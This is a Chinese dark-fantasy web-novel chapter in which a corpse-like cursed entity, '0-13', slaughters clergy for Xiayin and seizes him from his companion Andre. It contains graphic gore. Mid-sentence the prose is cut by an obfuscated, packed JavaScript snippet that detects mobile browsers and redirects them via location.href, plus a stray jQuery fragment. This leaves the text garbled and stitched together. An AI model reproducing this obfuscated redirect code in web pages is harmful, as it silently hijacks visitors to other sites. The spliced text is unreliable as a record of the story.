银发,缀着紫源晶和鸽血石,如海藻般浓密,微微打着卷,将夏因笼罩其中。
无论在哪个教会,银发都是崇高与圣洁的象征。
却出现在一个0级诅咒物身上。
——那也是他的Omega的发色。
或许是失血过多的原因,夏因的心脏剧烈鼓动着。
他视线上移,终于见到了那副嗓音的主人。
那是一张极俊美的脸。
然而,俊美的骨相之上,蒙着一层死人般苍白的皮。
薄唇上翘着,遍布针线缝合后的伤疤。
诡魅的紫色眼瞳,闪烁着非人类的幽光。
迎着他的视线,“0-13”揽着他的腰身,冰冷的鼻尖抵在他脸侧,轻轻厮磨。
“……你在看我。”
它低哑而得意地笑着。
“这幅身体,你很喜欢吗?”
夏因沉默。
离得这么近,他却没有感觉到“0-13”的呼吸。
也没有体温。
冰冷、僵硬,血管里的血液不再流淌,呈现出半凝固的紫色。
将他拥在怀里的东西,完完全全是一具死尸。
夏因像全无所觉。
他仰靠在它肩头,任银发在指缝间流淌,顺流而上,如同被引诱般,将手搭在它头上。
它微微眯着眼,像一只被抚摸顺毛的大型猛兽,喉间发出舒服的咕噜声。
夏因的手缓缓后移,穿过发丝,最后……落在了它的后颈。
那是Omega和Alpha们腺体的位置。
极为敏.感。
“0-13”放松的姿态一僵,眼底陡然划过一抹危险。
它擒住夏因的手,嗓音压低,释放出警告的意味。
“不要碰那里。”
“我不喜欢……”
然后它又好脾气地笑了,鼻尖贴在夏因的手腕内测,深深嗅闻。
夏因抿唇。
对腺体的标记是特殊的。如果Omega被Alpha标记过,除非Alpha死亡,后颈的咬痕终生都不会消退。
如果“0-13”占用的身躯原本属于夏因的Omega,后颈腺体必然会残留着那个独一无二的咬痕。
但——
“0-13”的后颈不是没有伤痕,而是,太多了。
有什么东西粗暴地剜去了那块皮肉,就算曾经有过咬痕,夏因也无法分辨清晰。
这具躯体的背后隐藏着无数秘密,美丽而千疮百孔。
它身穿华服盛装,不知在灵柩里躺了多少年,仿佛在等待一场期待已久的重逢。
而夏因,是它重生后的第一道餐前开胃酒。
它的注意力重新回到了夏因脸上,执着于在他的口唇边嗅闻,发出尸体本不该有的粗重喘息。
然后跃跃欲试地,想要舔吻他嘴畔的血。
“0-13”对从他嘴里冒出的血,似乎总是格外钟情。
就在冰凉的死物碰上他的嘴唇之前,夏因拽紧了它的银发,向后猛扯。
“0-13”猝不及防,被扯离了他。
“你要先实现我的心愿。”
夏因直视着它的眼睛。
“0-13”微微眯起眼,而这一次,是好兴致被打搅的不耐。
它的视线在夏因脸上梭巡,似乎在犹疑不决,这道餐前酒是否值得它等待。
夏因眸光冷淡,不退半分。
最终,“0-13”笑了,笑得全然无害,刚才的危险气息一扫而空。
它打横抱起夏因,走到灵柩旁,让他靠在灵柩的侧壁边。
“你在这里等我。”
它温柔地对夏因说。
“很快的。”
“不要走。”
然后,它便凭空消失了。
下一秒,出现在全速逃跑的纳萨尼尔三世面前。
“浪费了他那么多血的人,是你?”它问。
纳萨尼尔三世刚要狡辩,便发觉自己的舌头和喉咙分了家。
分家的不只是口舌,他的全身都被均匀切割成了肉排。
“算了,不用回答。”
“0-13”脸上带着冷漠的不耐。
“我赶时间。”
短暂的几秒之后,肉排蠕动着聚合,由荆棘长刺连接,重新变回纳萨尼尔三世。
下一瞬,切成肉排。
重组。
肉排。
重组。
肉排。
……
几轮之后,“0-13”的不耐达到了顶峰。
它变得面无表情,亲自上手,抽.出了纳萨尼尔三世的骨头,将那些总能死灰复燃的荆棘长刺掰开,咬碎,吮去它们的骨髓。
肉排终于彻底失去了生机。
堂堂九纹神职者,一代教皇,以为自己走上人生巅峰的下一秒,便命丧“0-13”之手。
谁都没有料到他的死因,就连纳萨尼尔三世自己。
肉排里镶嵌着的眼珠,至死还残留着惊愕与愤恨。
他怎么可能想到,能让整个世界都恐惧战栗的0级诅咒物,竟然会不顾大封印术的反噬之痛,去遵从一名与它敌对的一纹神职者呢?
“呵……真是可悲。”
夜空里悬挂着的圆月,为纳萨尼尔三世之死,以高声的嘲笑,奏响了一曲“挽歌”。
那名梦境圣徒,本应是纳萨尼尔三世的同伙,却不知为何,在关键时刻背叛了他,眼睁睁看他丧命。
“0-13”仰头望月。
梦境圣徒躲在幻梦境里,那是它无法进入的领域。
就算想杀,也抓不到人。
“……哼。”
它放弃追猎,再度消失,转瞬出现在灵柩附近。
夏因靠坐在灵柩边,一手按住还在流血的伤口,双眼望着它,似乎在期待它的表现。
“0-13”眼睛一弯,继续兴致高昂地替他实现愿望。
纳萨尼尔三世能提高移速,其他普通的神职者们却没能跑远。
“0-13”赤着脚,一步步向他们走去。
它走过之处,除了伊格尼斯家族的直属神职者以外,其他所有人都悄无声息地变成了均匀整齐的肉排。
血雨自天空洒落。
“0-13”弯着唇,脚步轻快,苍白的嘴.唇,因为沾了鲜血而格外艳丽。
在夏因面前杀戮,让它充满了表现欲。
到最后,只剩下唯一一个活人。
他在血浆中连滚带爬,差点撞上了前方的双脚。
“我刚才在睡觉,没有听清。”
“0-13”友好地问。
“他叫什么名字?”
幸存者牙齿打颤:“谁?”
“就是许愿让我杀光你们的那个人啊。”“0-13”指指夏因的方向。
幸存者颤抖:“……该死的夏因·伊格尼斯……”
“谢谢。”“0-13”微笑。
幸存者倒在了血泊里,没能听到它的感谢。
“0-13”开心地哼起了歌。
有点跑调,依稀是一首童谣。
“夏因,夏因,原来你叫夏因啊。”
它念着他的名字,笑出了声。
“真好听,夏因!”
与此同时,夏因面前的大地开始涌动,泥浆重塑出人形的上半.身。
安德烈通过大地之神的隐匿神纹来到他身边,手心里,一枚偏方四八面体飘浮着,不断地旋转变幻。
——3级诅咒物,“天国之门”。
它仿佛是能够吸收一切光芒的纯粹漆黑,但盯久了又能在其中看到无数种斑斓色彩。在那些目睹过天国又有幸存活下来的神职者口中,那便是属于天国的颜色。
“一半的几率,或是直接与‘0-13’传送到光明圣所,或是永远迷失在天国,肉.体异变成怪物,灵魂不入螺旋。”
安德烈定定注视着他的双眼:“夏因,你真的决定好要使用‘天国之门’了吗?”
“嗯。”夏因没有半分犹豫。
“……好。”安德烈似乎也下定了决心。
他将“天国之门”递向夏因,夏因抬手去拿,却偏离了位置,两次抓取,都没能对准,就好像根本看不清眼前的景象。
安德烈一愣,仔细观察夏因的眼睛,才发现他的瞳孔是涣散失焦的。
夏因流了太多血,失血让他接近休克,视野已经模糊暗沉。他强撑着最后的意志,才没有昏迷。
安德烈喉中酸苦。
看着眼前这个濒死都一声不吭的青年,他回想起了十多年前那个小小软软的幼童。
因为害怕打针,每次都眼泪汪汪地把脸蛋埋进他的狼毛里,委屈地呜呜着,将他的毛发弄得又湿又乱。
小时候的安德烈对此很是嫌弃,现在却做梦都想找回过去的那个疼了会哭、高兴了会笑的孩子。
……但他再也找不到了。
安德烈咬破了嘴唇,颤抖着,将“天国之门”送进了青年的掌心里。
夏因很轻地道:“谢谢。”
他摩挲着偏方四八面体的表面,想要确定那是否是真的“天国之门”,却得到了有些异样的触感。
偏方四八面体的表面似乎涂抹了一层沙子…不…更细腻,像是……蝴蝶的鳞粉。
蝴蝶的鳞粉?
脑海中回闪过安德烈用蝴蝶鳞粉让看守者陷入沉睡的片段。
夏因心头警铃大作,刚要丢掉“天国之门”,便感到一阵沉重的睡意。
“睡吧,夏因。”
安德烈嗓音哑涩,透过层层屏障传来。
“睡醒了,我们就回家了。”
他从夏因软垂的掌心里拿走了偏方四八面体,作为具有安眠效果的蝴蝶鳞粉的使用者,安德烈自己早就服用了解药。
他向“天国之门”注入神性,咔地一声,偏方四八面体的每一个表面都向四周离散,在它们的中心,黑洞般的入口在迅速扩张。
入口的另一边,就是天国。
“……很抱歉这次没有听你的话。”
安德烈捋顺了夏因被血污打湿的鬓发,被神纹覆盖的狰狞面庞上,流露出罕见的温柔。
“我明白,你不希望我犯险……但我也一样,我不能再失去你。”
“如果你下定决心要赌50%的概率,我就陪你一起赌。”
“要么回家,”他抱紧夏因,“要么一起万劫不复。”
安德烈回头,挑衅地斜了一眼“0-13”。
然后和夏因一起,踏入了天国之门。
他们瞬间进入了神明、亡魂和不可名状之物的国度。
死寂。
四周漆黑,同时又五彩斑斓。
在天国,生命死去后的灵魂,组成白色的絮状物,如深海中的浮游生物一般,漫无目的地漂流着。
但天国的“住民”并不总是柔弱无害。
不可名状的存在潜伏在天国深处,黑暗中那些绚丽迷人的色彩,都来自于祂们。
没有活人知道祂们的模样,因为,只要人类看到祂们,哪怕只有一眼,便会因为获得不该被人类理解的知识,而彻底陷入疯狂,精神和肉.体遭到双重异变。
安德烈捂住夏因的眼睛,自己则盯着迅速缩小的“天国之门”。
他等待着“0-13”追上来。
就在“天国之门”消失的前一刹那,一只苍白的手,探入了门内。
是“0-13”。
——它来了!
在它进入之后,天国之门飞速缩小直至消失,与此同时,黑纱般的神性旋转成漩涡,构筑出一条通道,通道的尽头依稀有光。
那是通往光明圣所的路——50%的概率,他们竟然赌赢了!
安德烈心跳如擂鼓,闭上眼睛,全力向着通道的终点坠落。
他仿佛已经看到了一切结束之后,他们重新回到往日的生活——他用狼型趴在花丛里晒太阳,夏因则靠在他身上翻看着一本书;有时候被他摇晃的尾巴扫到,责备又亲昵地揉揉他的脑袋。
书卷、草木、阳光的味道,还有夏因的气息……
却突然间,一个声音在脑海中轰然炸响。
【夏因,你要去哪里?】
安德烈猛地睁开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333780|167719||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼,骇然发觉“0-13”近在眼前!
它没有说话,它的意念直接入侵了他的大脑,不是任何一种语言,充满污秽和扭曲,裹挟着无穷的信息,光是“听到”便觉得脑浆几欲沸腾,撑破头盖骨,炸裂四散。
【为什么,不带上我?】
意念的表层黏附着疑惑和委屈的情绪,就像一个被母亲丢弃的孩子,天真地不肯认清被抛弃的事实。
但稍一深入,便察觉那层“像人”的糖衣之下,涌动着嗜血的残忍与暴虐。
再往下是……
痴愚、混沌、无尽的深渊。
安德烈脑海一白,血液从耳、鼻、口、眼中同时喷出。
理智碎裂成尖叫的光点,溃散奔逃。
他满怀绝望地意识到,那并不是0级诅咒物能够拥有的本质,甚至不可能属于七位正神。
祂更古老、更永恒。
祂是一的开端,是万的终极。
祂早已在他的灵魂中烙印了标记……而现在,祂来赴约与他重逢了。
无数苍白的手探向夏因,捕获了他的双脚、小腿和手臂,如情人的抚摸般爬上他的胸膛和颈项。
就在它们要覆盖夏因的面庞时,安德烈陷入疯狂的灵魂仿佛被一根细针刺穿,现出一线清明。
大脑的自我保护机制启动,他摒弃了所有思维,忘记了“0-13”的本质,忘记了他从“0-13”意念里听到的所有信息。
唯一的念头是:他要带夏因一起回家。
安德烈大吼一声,无数藤蔓自“0-13”苍白的的手臂之中繁衍增殖,然后飞速消失。随即他发现,多数的苍白手臂都是幻觉,唯一实存的那一双手,正捧着夏因的脸颊,手指亵玩似地探入沉睡者的口中。
愤怒压倒了恐惧,安德烈体内爆发出一股力量,狠狠踹向“0-13”的本体。
“滚开!你这恶心的怪物!”
他的话语刚一出口便被扭曲、分解、隔离,在天国,人类的声音无法传播,“0-13”的声音却能清晰地传入他的脑海。
只有本就诞生于天国的生灵,才能做到这一点。
不…不能想…不能再继续思考下去了……
值得庆幸的是,此刻“0-13”并没有将安德烈放在眼里,他只受到了余波的影响,才能勉强维持理智。
“0-13”的眼里只有夏因,它的交流对象也只有夏因。
【你明明说过,要将自己献祭于我。】
【……难道,你骗了我?】
【夏因,你骗我?!你骗我!!】
它扯碎了糖衣,不再用人皮遮掩,意念的表层近似于猛兽愤怒的咆哮,咆哮之下,暗藏着受伤的疼痛。
安德烈头痛欲裂,同时将夏因抱得更紧,以免对方落入那可怖猛兽的血口之中。
咆哮声倏然一停,“0-13”似乎恢复了冷静。
【啊……不对。是我弄错了。】
它的声音复又像人,温柔。
【夏因睡着了。】
【你没有骗我。你只是……被坏人抢走了。】
不可名状的注视朝他投来,安德烈发出了无声的惨叫。
冰冷之物袭来,他只觉一股不可违抗的力量,正在一根、一根地掰开他抱紧夏因的手指。
他甚至听见“0-13”在笑,是那种阴险而邪恶的低沉嗬嗬声,似乎在享受抢夺玩偶的乐趣。
夏因一点一点地脱离了他的怀抱。
落入了那头怪物的齿牙之间。
刹那间,黑纱般的神性通路于幽微中破碎,道路破碎之后,终点的光亮也随之消失。
通往光明圣所的“门”被摧毁了。
“0-13”的手指在漆黑中一划,轻而易举地创造了一扇新的“门”。
天旋地转之间,安德烈重重摔落在大地上。
他睁开眼,发现他们已经离开了天国,落地点不是光明圣所,而是位于现世的一片荒凉海滩。
“0-13”横抱着夏因,就在他的不远处。
它看起来是那么的游刃有余,人类奉为珍宝的“天国之门”,在它眼里只是件随意拨弄的玩具。
安德烈后知后觉——它之前追杀纳萨尼尔三世时使用的“瞬移”,不是提高移速或制造幻觉,而是在人眼无法捕捉的瞬间,熟练地进出天国。
它本就属于天国。
被这种怪物盯上,无论是死是活,夏因注定无路可逃。
无力感和绝望击垮了安德烈。
当他发现自己的左腿被“0-13”均匀切分成肉排时,他甚至没有生出任何情绪,有的只剩麻木。
他用手肘摩擦沙地,一点点向夏因,向那可憎的诅咒物爬去。
那无知痴愚的东西,仍然热情地拥着它心爱的玩偶,甚至还不知道人类会因失血而死亡。
“夏因,醒来,看看我。”
“0-13”一手揽着夏因后仰的脖颈,一手搂着夏因腰身,环抱着无意识的人类。
“他想抢走你,我讨厌他。”
“但我没有撕碎他,毕竟你希望他活着。就算我很生气,也只是给了他一点小小的惩罚。”
它的嗓音带着某种邀功的意味。
“但是,夏因,你为什么不睁开眼睛,看看我呢?”
“你看看我啊,你的愿望我全都实现了啊。”
没有回应。
“0-13”看上去有些低落。
它试图取悦夏因,于是哼着不成调的歌谣,抱着他轻缓旋转。
月光下,华丽的长袍下摆沾满了鲜血,随着舞步沉重地摇摆。
夏因被桎梏于臂弯间,碎发柔软地贴着脸颊。
胸口未愈合的贯穿伤,涌出新鲜的血液,砸落在白色沙滩上,宛如血之花灼灼绽放。
“0-13”的喉结忍不住滚动。
兽性之欲压倒了为夏因哼歌的心情,逐渐占据了上风。
它垂下银白的睫毛,遮掩起眸子里的渴求。
鼻梁蹭过锁骨,嘴唇贴近胸膛。
“夏因,如果你再不睁眼看我……”
“我可就要吃掉你了。”